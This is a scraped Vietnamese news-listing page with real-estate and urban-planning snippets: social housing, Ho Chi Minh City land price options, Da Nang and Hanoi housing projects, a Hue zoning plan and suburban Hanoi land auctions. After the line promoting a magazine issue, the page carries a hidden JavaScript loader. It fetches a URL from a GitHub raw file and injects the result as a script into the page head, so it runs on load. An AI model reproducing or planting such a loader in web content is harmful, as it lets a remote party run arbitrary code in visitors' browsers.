Tác giả: Nguyễn Thị Mỹ Hiền

"QUY HOẠCH Ô BÀN CỜ", GIÁ TRỊ MINH CHỨNG QUA NHIỀU THẾ KỶ Quy hoạch kiến trúc theo ô bàn cờ có từ thời cổ đại được áp dụng tại nhiều nước trên thế giới như Mỹ, Anh, Pháp, Tây Ban Nha, Thụy Điển, Ý, Nhật Bản, Singapore…. Đây được coi là một tiêu chuẩn về quy hoạch tại các thành phố, có thể giải quyết được nhiều vấn đề như tiết kiệm quỹ đất, tránh ùn tắc giao thông, tạo cảnh quan đẹp mắt, đem lại hiệu quả kinh tế và phát triển bền vững. Tại Việt Nam, năm 1873, chính quyền thực dân Pháp đã xây dựng khu 36 phố phường theo "quy hoạch ô bàn cờ" với các con đường song song giao cắt nhau. Sự thay đổi này đã tạo nên những khu phố khang trang, buôn bán sầm uất nhất xứ Kinh kỳ. Ngày nay, khu vực này trở thành "đất kim cương" ngang ngửa giá đất tại các thành phố nổi tiếng trên thế giới như New York,...

Hiện tại, ngày càng có nhiều doanh nghiệngp tham gia phát triển nhà ở xã hội. Chính phủ cũng đang đốc thúc các bộ, ngành, địa phương thực hiện đề án đầu tư xây dựng ít nhất một triệu căn hộ nhà ở xã hội cho đối tượng thu nhập thấp, công nhân khu công nghiệp giai đoạn 2021-2030, góp phần thúc đẩy tăng trưởng kinh tế.  NHÀ Ở XÃ HỘI “XANH”, CHI PHÍ VỪA PHẢI Tại hội thảo “Hiện thực hóa nhà ở xã hội xanh” do Tạp chí Kinh tế Sài Gòn tổ chức ngày 22/8, nhiều doanh nghiệp phản ánh việc xây dựng nhà ở xã hội gặp nhiều khó khăn. Việc phát triển dự án nhà ở xã hội đã khó vì cần giá rẻ kết hợp thêm những tiêu chí “xanh”, thân thiện môi trường… làm phát sinh chi phí, khó đáp ứng nhu cầu của người có thu nhập thấp. Tuy nhiên, Giám đốc điều hành Công ty Cổ phần Xi măng Fico Tây Ninh ông Nguyễn Công Bả...

Ban thường vụ Thành ủy TP.HCM sẽ thống nhất chủ trương về bảng giá đất thực hiện đến hết năm 2025 dựa trên 04 phương án Sở Tài nguyên và Môi trường đề xuất. Các phương án này được phân tích kỹ về những hạn chế và tính khả thi khi đi vào thực hiện. Theo đó, Phương án 1: Giữ nguyên, không điều chỉnh Bảng giá đất theo Quyết định 02 để áp dụng. Phương án này sẽ có những hạn chế như sau: Bảng giá theo Quyết định 02 bị khống chế theo nghị định của Chính phủ về khung giá đất (tối đa là 162 triệu đồng/m2 cho đô thị đặc biệt) nên phải thực hiện điều chỉnh giảm so với thông tin thị trường đã thu thập được dẫn đến giá đất rất thấp, chưa tiệm cận giá đất thị trường. Mặt khác, giá đất theo Quyết định 02 không thể tăng do bị khống chế bởi khung giá đất, nên buộc phải kế thừa giá đất năm 2014 ban hành ...

Theo Sở Xây dựng TP.Đà Nẵng, từ ngày 1/1 - 31/7/2024, căn cứ quy định tại Luật Kinh doanh bất động sản năm 2014, Luật Nhà ở năm 2014, Nghị định số 99/2015/NĐ-CP của Chính phủ và theo đề nghị của chủ đầu tư, Sở đã ban hành văn bản thông báo nhà ở hình thành trong tương lai đủ điều kiện bán đối với 7 dự án… Đó là: dự án Chung cư Bắc Cường (Bac Cuong Tower, quận Hải Châu) của Công ty cổ phần Cường Thịnh Phát Land với 112 căn hộ chung cư; Khu căn hộ cao tầng thuộc dự án Khu đô thị thương mại và dịch vụ thể thao cao cấp New Town (quận Ngũ Hành Sơn) của Công ty TNHH Phát triển New Town, 1.733 căn hộ; Nhà ở liền kề và nhà ở biệt thự thuộc Dự án Khu nhà ở và dịch vụ Tuyên Sơn (quận Hải Châu) của Công ty cổ phần Đầu tư Landcom, 219 căn hộ; Tổ hợp khách sạn và căn hộ P.A Tower (quận Hải Châu) củ...

Tại hội thảo “Vấn đề nhà ở cho công nhân lao động di cư – Thực trạng và giải pháp” do Viện Nghiên cứu đô thị và Phát triển hạ tầng tổ chức ngày 22/8, các chuyên gia nhận định nhà ở của người lao động, đặc biệt là công nhân di cư tại những khu công nghiệp còn hạn chế. TỈ LỆ LAO ĐỘNG MUA ĐƯỢC NHÀ VẪN THẤP Thống kê của Bộ Lao động, Thương binh và Xã hội cho thấy đến nay, tỉ lệ lao động trong các khu công nghiệp có thể mua, thuê được nhà vẫn thấp. Cụ thể, tính đến tháng 5/2023, trên cả nước có 398 khu công nghiệp với khoảng 7 triệu lao động. Trong đó, hơn 50% người lao động có nhu cầu về nhà ở, nhưng tỉ lệ nhà ở phục vụ công nhân làm việc tại khu công nghiệp, khu chế xuất mới chỉ được đáp ứng được khoảng 30% nhu cầu. Xung quanh vấn đề này, TS. Nhạc Phan Linh, Phó Viện trưởng phụ trách Viện ...

Khách tham dự gồm đại diện của Hiệp hội Bất động sản Việt Nam, Hiệp hội Môi giới Bất động sản Việt Nam, đại diện các nhà phân phối nổi tiếng như: Nhà Đại Phát, Smartland, IQI Việt Nam, Phú Hoàng Land, Southern Homes, Hana Home, An Phong Group, The One Land, Vietnam Realtor, Saigon Group… cùng nhiều nhân viên kinh doanh xuất sắc của khu vực miền Nam. Ông Jeong Cheol - Thành viên Hội Đồng Quản Trị N.H.O đã đem đến sự kiện một bài diễn thuyết vô cùng ngắn gọn nhưng rất đầy đủ các thông điệp muốn truyền tải đến người xem Trong lời mở đầu sự kiện, ông Jeong Cheol, thành viên Hội đồng Quản trị N.H.O đã nhấn mạnh về triết lý kinh doanh và điểm đặc biệt của N.H.O là phát triển toàn diện và vượt trội: tích hợp chặt chẽ phần cứng và phần mềm. “Phần cứng” ở đây là kết cấu, kiến trúc, chất lượn...

Theo đó, phạm vi nghiên cứu quy hoạch thuộc phường Thuận An (thành phố Huế) có quy mô diện tích khoảng 260,46ha, dân số hiện trạng khoảng 12.734 người. Dân số quy hoạch đến năm 2045, khoảng 17.300 người. Quy hoạch xác định rõ khu vực phát triển các mô hình du lịch sinh thái biển, đầm phá và cung cấp các dịch vụ công cộng và dịch vụ du lịch cho thành phố Huế và khu vực lân cận và khu vực phát triển khu dân cư mới theo mô hình đô thị sinh thái và cải tạo chỉnh trang các khu dân cư hiện có. Mục tiêu quy hoạch nhằm cụ thể hóa Quy hoạch tỉnh Thừa Thiên - Huế thời kỳ 2021-2030, tầm nhìn đến năm 2050 và Quy hoạch chung đô thị Thừa Thiên - Huế đến năm 2045, tầm nhìn đến năm 2065 đã được Thủ tướng Chính phủ phê duyệt; Phát triển đô thị, nâng cao hiệu quả sử dụng quỹ đất, tạo bộ mặt kiến trúc cảnh...

Theo UBND TP. Hà Nội, trong danh mục đợt 3, có 36 dự án đầu tư xây dựng nhà ở thương mại, khu đô thị đã được chấp thuận chủ trương đầu tư (10 dự án đang triển khai dự kiến hoàn thành vào giai đoạn 2021 – 2025 và 26 dự án dự kiến hoàn thành giai đoạn sau 2025); 85 dự án đang thực hiện thủ tục chuẩn bị đầu tư. Ngoài ra còn 6 dự án nhà ở xã hội (đợt 3) gồm: Khu nhà ở giãn dân quận Hoàn Kiếm (Nhà ở xã hội) tại Khu đô thị Việt Hưng, quận Long Biên (3.505 căn, dự kiến hoàn thành 2026); Xây dựng nhà ở để bán cho đối tượng thu nhập thấp Công an quận Ba Đình tại Xứ đồng Bảo Vân, phường Ngọc Hà, quận Ba Đình (77 căn, dự kiến hoàn thành 2026); Nhà ở xã hội để bán cho cán bộ chiến sỹ Bộ Công an tại thôn Thượng, xã Thanh Liệt, huyện Thanh Trì (660 căn, dự kiến hoàn thành 2028); Nhà ở xã hội tại khu d...

Đón đọc Tạp chí Kinh tế Việt Nam số 35-2024 - Nhịp sống kinh tế Việt Nam & Thế giới Source;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});

Trước kết quả đấu giá đất tại các huyện vùng ven Hà Nội có mức trúng cao gấp hàng chục lần so với giá khởi điểm, các chuyên gia cho rằng vừa bất thường lại vừa bình thường. ĐẤT NỀN CÓ SỨC HÚT TRONG VÀI NĂM GẦN ĐÂY Theo Hội Môi giới bất động sản Việt Nam (Vars), đây là hiện tượng không mới. Bởi loại hình đất này không dính đến tranh chấp kiện tụng, đã có sổ đỏ, hạ tầng, sẵn sàng xây nhà để kinh doanh, cho thuê, thu về dòng tiền hàng tháng. Đặc biệt, Hà Nội gần như không có dự án mới, nguồn cung đất nền được dự báo sẽ ngày càng khan hiếm do Luật Kinh doanh bất động sản mới cấm phân lô, bán nền tại 105 thành phố và thị xã, buộc doanh nghiệp phải xây dựng nhà trên đất để bán tại các khu vực này. Trong khi nhu cầu mua bất động sản, bao gồm cả nhu cầu mua để ở và đầu tư vẫn không ngừng tăng. ...